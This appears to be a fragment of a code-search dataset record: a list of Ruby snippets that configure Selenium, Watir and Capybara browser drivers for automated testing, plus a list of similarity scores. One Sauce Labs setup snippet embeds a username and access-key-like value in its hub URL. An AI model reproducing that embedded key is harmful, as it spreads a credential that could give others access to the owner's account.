"def attach_browser(how, what, options = {})\r\n options.merge!(:browser => is_firefox? ? \"Firefox\" : \"IE\") unless options[:browser]\r\n begin\r\n options.merge!(:base_url => browser.context.base_url)\r\n rescue => e\r\n puts \"failed to set base_url, ignore : #{e}\"\r\n end\r\n WebBrowser.attach_browser(how, what, options)\r\n end",
"def initialize\n # Create an instance of the selenium driver.\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.timeout = 60 # default seconds to wait for responses from web requests to the application server\n @driver = Selenium::WebDriver.for(:chrome, :http_client => client, :listener => DemoSeleniumEventListener.new)\n end",
"def setup\n caps = Selenium::WebDriver::Remote::Capabilities.internet_explorer\n caps.version = \"8\"\n caps.platform = \"Windows XP\"\n caps[:name] = \"Testing Selenium 2 with Ruby on Sauce\"\n\n @driver = Selenium::WebDriver.for(\n :remote,\n :url => \"http://the-internet:26bd4eac-9ef2-4cf0-a6e0-3b7736bd5359@ondemand.saucelabs.com:80/wd/hub\",\n :desired_capabilities => caps)\nend",
"def setup_browser(url)\n browser = Watir::Browser.new :firefox, headless: true\n browser.goto url\n return browser\nend",
"def browser_type\n if $TESTWISE_BROWSER\n $TESTWISE_BROWSER.downcase.to_sym\n elsif ENV[\"BROWSER\"]\n ENV[\"BROWSER\"].downcase.to_sym\n else\n \"chrome\".to_sym\n end\n end",
"def selenium_host\n ENV.fetch('SELENIUM_HOST', '192.168.56.102')\nend",
"def attach_browser(how, what, options = {})\n options.merge!(:browser => is_firefox? ? \"Firefox\" : \"IE\")\n begin\n options.merge!(:base_url => browser.context.base_url)\n rescue => e\n puts \"error to attach to browser: #{e}\"\n end\n WebBrowser.attach_browser(how, what, options)\n end",
"def initialize(browser)\n self.browser = browser\n end",
"def test_browser_mode!\r\n @browser_mode = BrowserMode::Test\r\n end",
"def browser_name\n (ENV['BROWSER'] ||= 'chrome').downcase.to_sym\nend",
"def setup\n @browser = Selenium::WebDriver.for :firefox\n @wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n @browser.get 'http://demo.redmine.org'\n end",
"def setup\n capabilities = {\n platformName: 'Windows',\n platformVersion: '10',\n browserName: 'Chrome',\n browserVersion: '58',\n resolution: '1280x1024',\n securityToken: @@token\n }\n _url = 'http://' + @@Host + '/nexperience/perfectomobile/wd/hub/fast'\n\n @driver = Selenium::WebDriver.for(:remote, :url => _url, :desired_capabilities => capabilities)\n @reportiumClient = create_reportium_client\n end",
"def setup_capybara\n Capybara.run_server = false\n Capybara.current_driver = :selenium\n Capybara.app_host = 'https://www.gp.endesaonline.com'\n end",
"def setup\n\n if BROWSER == \"chrome\"\n @driver = Selenium::WebDriver.for :chrome, switches: %w[--incognito]\n elsif BROWSER == \"firefox\"\n @driver = Selenium::WebDriver.for :firefox\n else\n puts \"invalid browser name\"\n exit\n end\n @driver.manage.delete_all_cookies\n @driver.manage.window.maximize\n puts \"opening website '#{BASE_URL}'\"\n @driver.navigate.to \"#{BASE_URL}\"\n @page_objs = File.read('./page-objects.json')\n @data_hash = JSON.parse(@page_objs)\n\n # this extra sleep is needed if captcha needs to be handled manually\n # sleep 165\n end",
"def initialize(visitor_dir, browser_details)\n super(browser_details)\n\n if browser_details[:sandbox] == true and browser_details[:multi_instance_proxy_compatible] == true\n @driver = Browsers::Driver.new(\"#{browser_details[:name]}_#{browser_details[:version]}_#{@listening_port_proxy}\",\n @listening_port_proxy)\n else\n @driver = Browsers::Driver.new(\"#{browser_details[:name]}_#{browser_details[:version]}\",\n @listening_port_proxy)\n end\n customize_properties(visitor_dir)\n end",
"def initialize(default_browser)\n super()\n self.browser = default_browser\n end",
"def common_configuration_for_firefox_extension\n # Assign the path to find the applications in the extension\n Capybara.app_host = \"chrome://privly\"\n $privly_applications_folder_path = Capybara.app_host + \"/content/privly-applications/\"\n puts \"Packaging the Firefox Extension\"\n system(\"cd ../../../../../ && pwd && jpm xpi && cd chrome/content/privly-applications/test/selenium\")\n # Find out the xpi file name\n json = JSON.load(File.new(\"../../../../../package.json\"))\n xpi_filename = \"privly@priv.ly-\" + json['version'] + \".xpi\"\n # Load the Firefox driver with the extension installed\n @profile = Selenium::WebDriver::Firefox::Profile.new\n @profile[\"extensions.privly.integration_test\"] = \"true\"\n @profile.add_extension(\"../../../../../\" + xpi_filename)\nend",
"def driver\n Capybara.current_driver\n end",
"def setup_capybara\n @poltergeist_driver = nil\n\n # Capybara will not re-run the block if the driver name already exists, so the driver name\n # will have a time integer appended to ensure uniqueness.\n driver_name = \"poltergeist_crawler_#{Time.now.to_f}\".to_sym\n Grell.logger.info \"GRELL Registering poltergeist driver with name '#{driver_name}'\"\n\n Capybara.register_driver driver_name do |app|\n @poltergeist_driver = Capybara::Poltergeist::Driver.new(app,\n js_errors: false,\n inspector: false,\n phantomjs_logger: FakePoltergeistLogger,\n phantomjs_options: ['--debug=no', '--load-images=no', '--ignore-ssl-errors=yes', '--ssl-protocol=TLSv1.2'])\n end\n\n Capybara.default_max_wait_time = 3\n Capybara.run_server = false\n Capybara.default_driver = driver_name\n Capybara.current_session.driver.headers = { # The driver gets initialized when modified here\n \"DNT\" => 1,\n \"User-Agent\" => USER_AGENT\n }\n\n raise 'Poltergeist Driver could not be properly initialized' unless @poltergeist_driver\n\n @poltergeist_driver\n end",
"def initialize(selenium_webdriver: (::Selenium::WebDriver.for DEFAULT_BROWSER, options: default_options))\n require \"selenium-webdriver\"\n @driver = selenium_webdriver\n end",
"def widget_settings\n # jQuery\n click_settings=%|$(\"#context_settings\").trigger(\"mousedown\");|\n \n # watir-webdriver\n edit_page\n open_widget_menu\n self.execute_script(click_settings)\n wait_for_ajax\n end",
"def firefox\n options = Selenium::WebDriver::Firefox::Options.new(profile: firefox_profile)\n options.headless! if config.headless\n\n options\n end",
"def selenium_config_params\n params.require(:selenium_config).permit(:browser, :url, :user_id)\n end",
"def setup\n Capybara.app = App.new\n end",
"def initialize browser\n @browser = browser\n end",
"def tests(options = {:activated => true, :rspec => false})\n @options[:tests] = options\n end",
"def setup\n @verification_errors = []\n if $selenium\n @selenium = $selenium\n else\n @selenium = Selenium::Client::Driver.new \"localhost\", 4444, \"*firefox\", $domain, 10000\n @selenium.start_new_browser_session\n end\n @selenium.set_context(\"selenium_helper\")\n end",
"def initialize(browser, args={})\n @args = args\n @browser = browser\n end",
"def set_driver(test)\n if test.metadata[:appium] && (TC::Config['tc_driver'] == 'appium' ||\n RSpec.configuration.filter.rules[:appium])\n Capybara.current_driver = TC::Config[:appium][:os].downcase.to_sym\n else\n Capybara.current_driver = :selenium\n end\n Capybara.default_driver = Capybara.current_driver\nend",
"def start_browser(browser_type)\n caps = Selenium::WebDriver::Remote::Capabilities.firefox\n caps.version = \"5\"\n caps.platform = :LINUX\n caps[:name] = \"Testing Selenium 2 with Ruby on SauceLabs Environment\"\n\n @driver = Selenium::WebDriver.for(\n :remote,\n :url => \"http://valid_sauce_url_with_key@ondemand.saucelabs.com:80/wd/hub\",\n :desired_capabilities => caps)\n end",
"def openBrowser(step)\n browserName = @envConfig['Browser']\n browserDriver = \"#{$ROOT}/../webDriver/#{browserName}driver.exe\"\n case browserName\n when 'chrome'\n Selenium::WebDriver::Chrome.driver_path = browserDriver\n # @browser = Watir::Browser.new(:chrome, :switches => %w[--start-maximized])\n @browser = Watir::Browser.new(:chrome)\n when 'firefox'\n Selenium::WebDriver::Firefox.driver_path = browserDriver\n # @browser = Watir::Browser.new(:firefox, :switches => %w[--start-maximized])\n @browser = Watir::Browser.new(:firefox)\n end\n Watir.default_timeout = @envConfig['DefaultWaitTime'].to_s.to_i\n pageObject = PageObject.new\n @actionObjects = pageObject.initializePageObject(@browser, @pageObjects)\n end",
"def load_command_line_options\n cmd_line_options.each do |key, value|\n ::Webby.site.__send__(\"#{key}=\", value)\n end\n end",
"def suite_browser_mode!\r\n @browser_mode = BrowserMode::Suite\r\n end",
"def device_driver name\n opts = {\n \"mobileEmulation\" => {\n \"deviceName\" => name\n }\n }\n capabilities = Selenium::WebDriver::Remote::Capabilities.chrome(\"chromeOptions\" => opts)\n Selenium::WebDriver.for(:chrome, desired_capabilities: capabilities)\n end",
"def start_new_browser_session(options={})\n start_args = [@browser_string, @browser_url, @extension_js]\n\n if driver = options.delete(:driver)\n expected_browser_string = \"*webdriver\"\n unless @browser_string == expected_browser_string\n raise ArgumentError, \"can't use :driver unless the browser string is #{expected_browser_string.inspect} (got #{@browser_string.inspect})\"\n end\n\n sid = driver.capabilities['webdriver.remote.sessionid']\n sid or raise ArgumentError, \"This driver can not be wrapped in the RC API.\"\n\n start_args << \"webdriver.remote.sessionid=#{sid}\"\n end\n\n start_args << options.collect {|key,value| \"#{key.to_s}=#{value.to_s}\"}.sort.join(\";\")\n\n @session_id = string_command \"getNewBrowserSession\", start_args\n # Consistent timeout on the remote control and driver side.\n # Intuitive and this is what you want 90% of the time\n self.remote_control_timeout_in_seconds = @default_timeout_in_seconds\n self.highlight_located_element = true if highlight_located_element_by_default\n end",
"def configure(opts = {})\n VCR.configure do |c|\n c.hook_into :webmock\n c.cassette_library_dir = opts[:cassettes] ||= DEFAULT_CASSETTES\n c.default_cassette_options = { :record => :new_episodes }\n c.ignore_localhost = true\n c.ignore_hosts \"127.0.0.1\"\n end\n end",
"def setup_headless_env\n # although this occasionally fails, it seems to be temporary and refreshing the page can help.\n RoutesInit.connect_to_firefox_with_timeout(20)\n end",
"def visit_practice_form \n @chrome_driver.get(PRACTICE_FORM_URL)\n end",
"def driver\n @driver ||= page.driver.browser\n end",
"def set_sauce_browser(test_name)\n filename = File.expand_path(\"../../../config/sauce_creds.yml\", __FILE__)\n sauce_config = YAML::load(File.open(filename))\n sauce_browser = sauce_config[:browser]\n @sauce_user = sauce_config[:username]\n @sauce_key = sauce_config[:access_key]\n case sauce_browser\n when 'firefox'\n caps = Selenium::WebDriver::Remote::Capabilities.firefox\n caps[:platform] = sauce_config[:platform]\n caps[:version] = sauce_config[:version]\n when 'chrome'\n caps = Selenium::WebDriver::Remote::Capabilities.chrome\n caps[:platform] = sauce_config[:platform]\n else\n raise \"sauce browser not specified correctly - #{sauce_browser}\"\n end\n caps[:name] = test_name\n Watir::Browser.new(\n :remote,\n :url => \"http://#{@sauce_user}:#{@sauce_key}@ondemand.saucelabs.com:80/wd/hub\",\n :desired_capabilities => caps)\nend",
"def jsDriver # rubocop:disable Naming/MethodName\n Capybara.current_driver = Capybara.javascript_driver\n yield\n Capybara.current_driver = Capybara.default_driver\n end",
"def configure_saucelabs\n end",
"def setup\r\n @browsers.each_with_index do |browser, index|\r\n sleep 0.15\r\n @providers[index] ||= browser[:object].new_browser((browser[:browser_type] || @browser_type))\r\n end\r\n end",
"def inicia_navegador (parametros)\n @b = Watir::Browser.new :chrome, options: {prefs: parametros}\n sleep @sleep_padrao\n Watir.default_timeout = 90\n sleep @sleep_padrao\n @b.window.maximize\n sleep @sleep_padrao\nend",
"def initialize(*args)\n if args[0].kind_of?(Hash)\n options = args[0]\n @host = options[:host]\n @port = options[:port].to_i\n @browser_string = options[:browser]\n @browser_url = options[:url]\n @default_timeout_in_seconds = (options[:timeout_in_seconds] || 300).to_i\n @default_javascript_framework = options[:javascript_framework] || :prototype\n @highlight_located_element_by_default = options[:highlight_located_element] || false\n else\n @host = args[0]\n @port = args[1].to_i\n @browser_string = args[2]\n @browser_url = args[3]\n @default_timeout_in_seconds = (args[4] || 300).to_i\n @default_javascript_framework = :prototype\n @highlight_located_element_by_default = false\n end\n\n @extension_js = \"\"\n @session_id = nil\n end",
"def use_current_browser(how = :title, what = /.*/)\n @web_browser = WebBrowser.attach_browser(how, what)\n end",
"def setup_browser\n @browser = Browser.new(self)\n end",
"def use_current_watir_browser(how = :title, what = /.*/)\r\n @web_browser = WebBrowser.attach_browser(how, what)\r\n end",
"def add_cookie(opts = {})\n driver.manage.add_cookie(opts)\n end"
] |
[
"0.7220167",
"0.70062333",
"0.6906341",
"0.6695963",
"0.65873945",
"0.65040004",
"0.64951307",
"0.64898086",
"0.64546084",
"0.64195466",
"0.6409399",
"0.6401847",
"0.6361569",
"0.6305533",
"0.6273613",
"0.6190459",
"0.61745954",
"0.61311656",
"0.6123459",
"0.6032418",
"0.60204226",
"0.59610647",
"0.5913533",
"0.58122635",
"0.58052975",
"0.5803888",
"0.5803456",
"0.5800945",
"0.5792221",
"0.57673115",
"0.56634206",
"0.5638481",
"0.5619579",
"0.5617044",
"0.56167835",
"0.5614987",
"0.55997425",
"0.5567666",
"0.5556398",
"0.5511761",
"0.55061203",
"0.55009574",
"0.548175",
"0.54512155",
"0.54374725",
"0.5423872",
"0.5419966",
"0.54177046",
"0.539824",
"0.5388019",
"0.5380756",
"0.53751147",
"0.53571445",
"0.53494245",
"0.5347645",
"0.53438723",
"0.5342225",
"0.5298278",
"0.52969736",
"0.5282557",
"0.527306",
"0.52680665",
"0.5265075",
"0.5255627",
"0.5255469",
"0.5252789",
"0.52366555",
"0.5234943",
"0.5233787",
"0.52293664",
"0.5211655",
"0.5208015",
"0.5205387",
"0.5194633",
"0.519378",
"0.51874936",
"0.517993",
"0.5178591",
"0.51743174",
"0.5165022",
"0.5162598",
"0.5158956",
"0.513806",
"0.5134033",
"0.50832176",
"0.5083145",
"0.5073713",
"0.5056474",
"0.50463337",
"0.50424993",
"0.5028062",
"0.5027535",
"0.50201154",
"0.5016997",
"0.50084996",
"0.4993817",
"0.49897006",
"0.4979332",
"0.4973158",
"0.49684423"
] |
0.73800695
|
0
|
Returns webdriver capabilities for firefox browser
|
def firefox_capabilities
Selenium::WebDriver::Remote::Capabilities.firefox(
logging_prefs: {browser: 'ALL'},
'acceptSslCerts' => true,
'acceptInsecureCerts' => true,
'native_events' => true
)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def firefox\n options = Selenium::WebDriver::Firefox::Options.new(profile: firefox_profile)\n options.headless! if config.headless\n\n options\n end",
"def firefox\r\n @web_browser.firefox\r\n end",
"def firefox\n @web_browser.firefox\n end",
"def default_capabilities\n {\n :browserName => \"Chrome\",\n :version => nil,\n :platform => \"Linux\"\n }\n end",
"def browser_caps(browser,browser_options)\n target = (browser.to_sym if ENV['BROWSER'].nil? or ENV['browser'].empty?) || (ENV['BROWSER'].to_sym)\n browser,version,platform,device = extract_values_from(target)\n options = {}\n options.merge! browser_options\n caps = capabilities(browser,version,platform,device)\n options[:url] = url if url\n if options.include? :url\n browser = :remote\n options[:desired_capabilities] = caps\n end\n options[:http_client] = http_client if persistent_http or options.delete(:persistent_http)\n return browser,options\n end",
"def browserstack\n # Documentation and the code for this class can be found here\n # http://www.rubydoc.info/gems/selenium-webdriver/0.0.28/Selenium/WebDriver/Remote/Capabilities\n # https://github.com/SeleniumHQ/selenium/blob/master/rb/lib/selenium/webdriver/remote/capabilities.rb\n capabilities = Selenium::WebDriver::Remote::Capabilities.new\n\n config.browserstack.capabilities.each do |key, value|\n capabilities[key] = value\n end\n\n capabilities\n end",
"def register_firefox_driver\n Capybara.register_driver :firefox do |app|\n if ENV['SELENIUM_GRID'] == 'false'\n options = Selenium::WebDriver::Firefox::Options.new\n Capybara::Selenium::Driver.new(app, browser: :firefox,\n options: options,\n desired_capabilities: firefox_capabilities)\n else\n Capybara::Selenium::Driver.new(app, browser: :remote,\n url: hub_url,\n desired_capabilities: firefox_capabilities)\n end\n end\n end",
"def firefox\r\n is_firefox? ? @browser : nil;\r\n end",
"def capabilities\n data[:capabilities]\n end",
"def chrome_capabilities\n Selenium::WebDriver::Remote::Capabilities.chrome(\n logging_prefs: {browser: 'ALL'},\n 'chromeOptions' => {\n 'args' => %w[--ignore-certificate-errors],\n 'w3c' => false\n },\n 'acceptSslCerts' => true,\n 'acceptInsecureCerts' => true\n )\n end",
"def capabilities\n attributes.fetch(:capabilities)\n end",
"def capabilities\n attributes.fetch(:capabilities)\n end",
"def firefox?\n if @type.downcase == \"firefox\"\n return true\n else\n return false\n end\n end",
"def browsers\n @browsers ||= @data[\"agents\"].keys.map{|b| PUBLIC_BROWSER_NAMES[b] }.sort\n end",
"def capabilities; end",
"def capabilities; end",
"def capabilities; end",
"def firefox_options\n options = Selenium::WebDriver::Firefox::Options.new\n options.add_preference('intl.accept_languages', locale)\n options.add_argument('--headless') if headless\n options\n end",
"def capabilities\n FFI::Libvirt.virConnectGetCapabilities(pointer)\n end",
"def browser_info\n # Fetch the UserAgent string using javascript navigator object\n ua_string = browser.execute_script('return navigator.userAgent')\n @parsed_ua = UserAgent.parse(ua_string)\n end",
"def capabilities\n @manage_sieve.print_capabilities\n end",
"def setup\n caps = Selenium::WebDriver::Remote::Capabilities.new\n\tcaps['browser'] = 'Firefox'\n @driver = Selenium::WebDriver.for :remote, url: \"http://localhost:8001\", :desired_capabilities => caps\n# @driver = Selenium::WebDriver.for :firefox\n\t@driver.manage.timeouts.implicit_wait = 10\nend",
"def abrirNavegador()\n\tbrowser = Watir::Browser.new :firefox\n\n\tbrowser\nend",
"def capabilities\n @stack.capabilities\n end",
"def setup_browser(url)\n browser = Watir::Browser.new :firefox, headless: true\n browser.goto url\n return browser\nend",
"def common_configuration_for_firefox_extension\n # Assign the path to find the applications in the extension\n Capybara.app_host = \"chrome://privly\"\n $privly_applications_folder_path = Capybara.app_host + \"/content/privly-applications/\"\n puts \"Packaging the Firefox Extension\"\n system(\"cd ../../../../../ && pwd && jpm xpi && cd chrome/content/privly-applications/test/selenium\")\n # Find out the xpi file name\n json = JSON.load(File.new(\"../../../../../package.json\"))\n xpi_filename = \"privly@priv.ly-\" + json['version'] + \".xpi\"\n # Load the Firefox driver with the extension installed\n @profile = Selenium::WebDriver::Firefox::Profile.new\n @profile[\"extensions.privly.integration_test\"] = \"true\"\n @profile.add_extension(\"../../../../../\" + xpi_filename)\nend",
"def open_firefox_using_profile\n\n # setup_watir_webdriver\n require 'watir-webdriver'\n download_directory = \"C:\\\\Users\\\\Yatin\\\\Downloads\"\n profile = Selenium::WebDriver::Firefox::Profile.new\n\n profile['credentials_enable_service'] = false\n ### file will be downloaded to custom directory\n profile['browser.download.folderList'] = 2\n profile['browser.download.dir'] = download_directory\n ### By Default file will be downloaded to Download directory\n # profile['browser.download.folderList'] = 1 # 0 = save to user's desktop, 1 = save to Downloads, 2 = save to custom location\n # profile[\"browser.download.useDownloadDir\"] = true\n profile['browser.download.manager.showWhenStarting'] = false\n profile['browser.helperApps.neverAsk.saveToDisk'] = \"text/csv, text/plain, application/vnd.ms-excel, text/comma-separated-values, application/pdf, application/zip\"\n # driver = Selenium::WebDriver.for :firefox, :profile => profile\n # @browser = Watir::Browser.new(driver)\n @browser = Watir::Browser.new :firefox, :profile => profile\n\nend",
"def browser_user_agent(browser, agent, orientation)\nsetup_watir_webdriver\nbrowser =\"firefox\"\nagent = \"iphone\"\norientation=\"portrait\"\nrequire 'watir-webdriver'\nrequire 'webdriver-user-agent'\ndriver = Webdriver::UserAgent.driver(:browser => :\"#{browser}\", :agent => :\"#{agent}\", :orientation => :\"#{orientation}\")\nbrowser = Watir::Browser.new(driver)\nend",
"def selenium_api\n browser.driver.methods - Object.public_methods\n end",
"def configure_browser()\r\n if test_config.browser == \"ie\"\r\n Capybara.register_driver :selenium do |app|\r\n Capybara::Selenium::Driver.new(app, :browser=>:internet_explorer)\r\n end\r\n else\r\n Capybara.register_driver :selenium do |app|\r\n if !(test_config.browserPath.nil? || test_config.browserPath.empty?)\r\n require 'selenium/webdriver'\r\n Selenium::WebDriver::Firefox::Binary.path = test_config.browserPath\r\n end\r\n Capybara::Selenium::Driver.new(app, :browser => :firefox)\r\n end\r\n end\r\n end",
"def get_desktop_browser_capabilities_using_get(opts = {})\n data, _status_code, _headers = get_desktop_browser_capabilities_using_get_with_http_info(opts)\n data\n end",
"def get_browser(scenario)\n if ENV['LOCAL']\n return get_local_browser(scenario)\n end\n get_zalenium_browser(scenario)\nend",
"def browser_type\n if $TESTWISE_BROWSER then\n $TESTWISE_BROWSER.downcase.to_sym\n elsif ENV[\"BROWSER\"]\n ENV[\"BROWSER\"].downcase.to_sym\n else\n RUBY_PLATFORM =~ /mingw/ ? \"ie\".to_sym : \"firefox\".to_sym\n end\n end",
"def setup\n if ENV['BROWSER'] == 'firefox'\n $driver = Selenium::WebDriver.for :firefox\n elsif ENV['BROWSER'] == 'chrome'\n $driver = Selenium::WebDriver.for :chrome\n else\n puts 'The only valid browser options are [firefox | chrome]'\n end\nend",
"def capabilities\n if @capabilities\n @capabilities\n elsif @cached_capabilities\n @capabilities = add_case_insensitive_default_proc(@cached_capabilities)\n else\n login\n end\n end",
"def initialize_browser\n client = Selenium::WebDriver::Remote::Http::Default.new\n case ENV['browser']\n when 'firefox'\n puts \"\\n>Initializing Firefox browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/geckodriver0.13'\n @browser = Selenium::WebDriver.for :firefox, http_client: client, driver_path: full_path\n when 'chrome'\n puts \"\\n>Initializing Chrome browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/chromedriver2.27'\n @browser = Selenium::WebDriver.for :chrome, http_client: client, driver_path: full_path\n when 'safari'\n puts \"\\n>Initializing Safari browser\"\n @browser = Selenium::WebDriver.for :safari, http_client: client\n else\n @browser = Selenium::WebDriver.for :firefox, http_client: client\n end\n\n @browser.manage.timeouts.page_load = 10\n return @browser\nend",
"def browser_type\n\t if $TESTWISE_BROWSER then\n\t $TESTWISE_BROWSER.downcase.to_sym\n\t elsif ENV[\"BROWSER\"]\n\t ENV[\"BROWSER\"].downcase.to_sym\n\t else\n\t RUBY_PLATFORM =~ /mingw/ ? \"ie\".to_sym : \"firefox\".to_sym\n\t end\n\tend",
"def capabilities_array(browser_csv)\n unless File.exists?(browser_csv)\n puts \"Please provide a browser csv file and try again.\"\n finish\n end\n capabilities = SmarterCSV.process(browser_csv,:convert_values_to_numeric => false)\n capabilities.map do |caps|\n SauceGrabber::CapabilitiesFactory.new(caps, options[:tunnel])\n end\n capabilities\n end",
"def start_browser(browser_type)\n caps = Selenium::WebDriver::Remote::Capabilities.firefox\n caps.version = \"5\"\n caps.platform = :LINUX\n caps[:name] = \"Testing Selenium 2 with Ruby on SauceLabs Environment\"\n\n @driver = Selenium::WebDriver.for(\n :remote,\n :url => \"http://valid_sauce_url_with_key@ondemand.saucelabs.com:80/wd/hub\",\n :desired_capabilities => caps)\n end",
"def open_browser (ele)\n\n but_ref=$array2[\"#{ele}\"]\n if but_ref == \"firefox\"\n $log.info \"Firefox browser is going to open\"\n $browser = Watir::Browser.new :firefox\n elsif but_ref== \"ie\"\n $log.info \"Internet browser is going to open\"\n $browser = Watir::Browser.new :ie\n elsif but_ref == \"chrome\"\n $log.info \"Chrome browser is going to open\"\n profile = Selenium::WebDriver::Chrome::Profile.new\n profile['download.prompt_for_download'] = false\n profile['download.default_directory'] = \"D:\\\\CCL -naz\\\\configuration\"\n $browser = Watir::Browser.new :chrome, :profile => profile\n\telse\n\tfail_screenshot\n\t $log.info \"failed to open the #{ele} browser\"\n raise(\"failed to open the #{ele} browser\") \n end\n $browser.window.resize_to(1616,876)\nend",
"def get_browser\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.open_timeout = TIMEOUT # seconds – default is 30\n browser = Watir::Browser.new DRIVER.to_sym, :http_client => client\n return browser\nend",
"def firefox?(expected_version = nil)\n Firefox.new(ua).match? && detect_version?(full_version, expected_version)\n end",
"def capabilities\n @capabilities ||= @data[\"data\"].keys.select do |cap|\n cats = @data[\"data\"][cap][\"categories\"]\n cats.any?{|cat| cat =~ /CSS/ }\n end.sort\n end",
"def browser\n @browser ||= if Capybara.current_session.driver.is_a?(Capybara::Selenium::Driver)\n Capybara.current_session.driver.browser.manage\n else\n raise \"Driver cannot be used to manage cookies. Use selenium/webdriver. Rack::Test should be supported soon.\"\n end\n end",
"def get_driver\n case meta.engine\n when \"chrome\"\n options = Selenium::WebDriver::Chrome::Options.new\n options.add_argument('--disable-gpu')\n options.add_argument('--headless')\n options.add_argument('--device-scale-factor=1') # have to change cropping for 2x. also this is faster\n options.add_argument('--force-device-scale-factor')\n options.add_argument(\"--window-size=1200,1500\") # resize later so we can reuse drivers\n options.add_argument(\"--hide-scrollbars\") # hide scrollbars from screenshots\n Selenium::WebDriver.for :chrome, options: options\n end\n end",
"def name\n @driver.browser_type\n end",
"def selenium_env?\n true\nend",
"def create_node_capabilities(node, caps = [])\n\n\t\tnode['driver'].each do |key, values|\n\t\t\tentry = { browserName: key, platform: node['platform'].upcase }\n\t\t\tvalues.each { |name, value| entry[name.to_s] = value }\n\t\t\tcaps << entry\n\t\tend \n\n\t\tcaps.to_json \n\tend",
"def browser_supported_by_metamask?\n browser.chrome? || browser.firefox?\n end",
"def get_zalenium_browser(scenario)\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.read_timeout = TIMEOUT # seconds – default is 30\n # Remove troublesome characters from scenario names - affects video naming\n scenario_name = scenario.name.clone.gsub(/[#,\\(\\)]/,'')\n browser = Watir::Browser.new DRIVER.to_sym, :http_client => client, :url => GRID_HUB, :name => scenario_name\n return browser\nend",
"def browser\n BrowserInst.browser\n end",
"def print_congifugartion\n puts \"Configuration : \"+$driver.execute_script(\"return navigator.userAgent;\")\n puts \"Date and Time : #{Time.now}\"\nend",
"def browser\n BrowserInst.browser\n end",
"def env_browser_name\n (ENV['BROWSER'] ||= 'firefox')\nend",
"def new_browser\n if ENV[\"LOCAL_OR_HEROKU\"] then\n Watir::Browser.new :firefox\n else\n options = Selenium::WebDriver::Chrome::Options.new\n # make a directory for chrome if it doesn't already exist\n chrome_dir = File.join Dir.pwd, %w(tmp chrome)\n FileUtils.mkdir_p chrome_dir\n user_data_dir = \"--user-data-dir=#{chrome_dir}\"\n # add the option for user-data-dir\n options.add_argument user_data_dir\n\n # let Selenium know where to look for chrome if we have a hint from\n # heroku. chromedriver-helper & chrome seem to work out of the box on osx,\n # but not on heroku.\n if chrome_bin = ENV[\"GOOGLE_CHROME_BIN\"]\n options.add_argument \"no-sandbox\"\n options.binary = chrome_bin\n # give a hint to here too\n Selenium::WebDriver::Chrome.driver_path = \\\n \"/app/vendor/bundle/bin/chromedriver\"\n end\n\n # headless!\n # keyboard entry wont work until chromedriver 2.31 is released\n options.add_argument \"window-size=1200x600\"\n options.add_argument \"headless\"\n options.add_argument \"disable-gpu\"\n\n # make the browser\n Watir::Browser.new :chrome, options: options\n end\n end",
"def browser_type\n if $TESTWISE_BROWSER\n $TESTWISE_BROWSER.downcase.to_sym\n elsif ENV[\"BROWSER\"]\n ENV[\"BROWSER\"].downcase.to_sym\n else\n \"chrome\".to_sym\n end\n end",
"def browser_cmdline\n browser_env.each do |p|\n Launchy.log \"#{self.class.name} : possibility from BROWSER environment variable : #{p}\"\n end\n app_list.each do |p|\n Launchy.log \"#{self.class.name} : possibility from app_list : #{p}\"\n end\n\n possibilities = (browser_env + app_list).flatten\n\n if browser = possibilities.shift then\n Launchy.log \"#{self.class.name} : Using browser value '#{browser}'\"\n return browser\n end\n raise Launchy::CommandNotFoundError, \"Unable to find a browser command. If this is unexpected, #{Launchy.bug_report_message}\"\n end",
"def browsers_for names\n names.map do |name|\n begin\n Browser.subclasses.find do |browser|\n browser.matches_name? name\n end.new\n rescue\n raise \"Unsupported browser `#{name}'\"\n end\n end\n end",
"def capabilities\n @capabilities ||=\n instrument \"capabilities.github_ldap\" do |payload|\n begin\n @connection.search_root_dse\n rescue Net::LDAP::Error => error\n payload[:error] = error\n # stubbed result\n Net::LDAP::Entry.new\n end\n end\n end",
"def wait_a_sec_for_selenium\n sleep 1 if Capybara.current_driver == :selenium_firefox\n end",
"def get_local_browser(scenario)\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.read_timeout = TIMEOUT\n browser = Watir::Browser.new DRIVER.to_sym, :http_client => client\n return browser\nend",
"def capabilities(keyword = nil)\n request Net::NNTP::Capabilities.new(keyword)\n end",
"def cookies_from_selenium\n driver = Selenium::WebDriver.for :firefox\n driver.navigate.to \"https://min.e-boks.dk/logon.aspx?logontype=oces\"\n\n loop do\n break if driver.title =~ %r(^e-Boks )\n sleep 1\n end\n\n cookies = driver.manage.all_cookies\n driver.quit\n cookies\nend",
"def test_Browser_001_is_browser_installed()\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Browser_001_is_browser_installed\")\n puts2(\"#######################\")\n\n puts2(\"\\n\\nTest - is_chrome64_installed?()\")\n puts2(\"is_chrome64_installed? = \" + is_chrome64_installed?().to_s)\n\n puts2(\"\\n\\nTest - is_firefox64_installed?()\")\n puts2(\"is_firefox64_installed? = \" + is_firefox64_installed?().to_s)\n\n end",
"def firefox_windows(w = nil)\n\t\t\tcollection = []\n\t\t\twindows = nil\n\t\t\tif w\n\t\t\t\twindows = [w]\n\t\t\telse\n\t\t\t\twindows = X11::Display.instance.screens.collect{|s| s.root_window}\n\t\t\tend\n\t\t\twindows.each do |window|\n\t\t\t\tif window.class == 'Gecko'\n\t\t\t\t\tcollection << window\n\t\t\t\tend\n\t\t\t\twindow.children.each do |c|\n\t\t\t\t\tcollection << firefox_windows(c)\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn collection.flatten.compact\n\t\tend",
"def remote_browser(host, opts = {})\n remote_browser = JsTestDriver::RemoteBrowser.new(host, opts)\n remote_browsers << remote_browser\n browser remote_browser_file_name(remote_browser.name)\n end",
"def browser_data(browser)\n @data[\"agents\"][CAN_I_USE_NAMES[browser]]\n end",
"def setup_desktop_grid(capability)\n\tCapybara.register_driver :selenium do |app|\n\t\tCapybara::Selenium::Driver.new(app,\n\t\t\t:browser => :remote,\n\t\t\t:url => SELENIUM_GRID,\n\t\t\t:desired_capabilities => capability)\n\tend\n\t\tCapybara.default_driver = :selenium\nend",
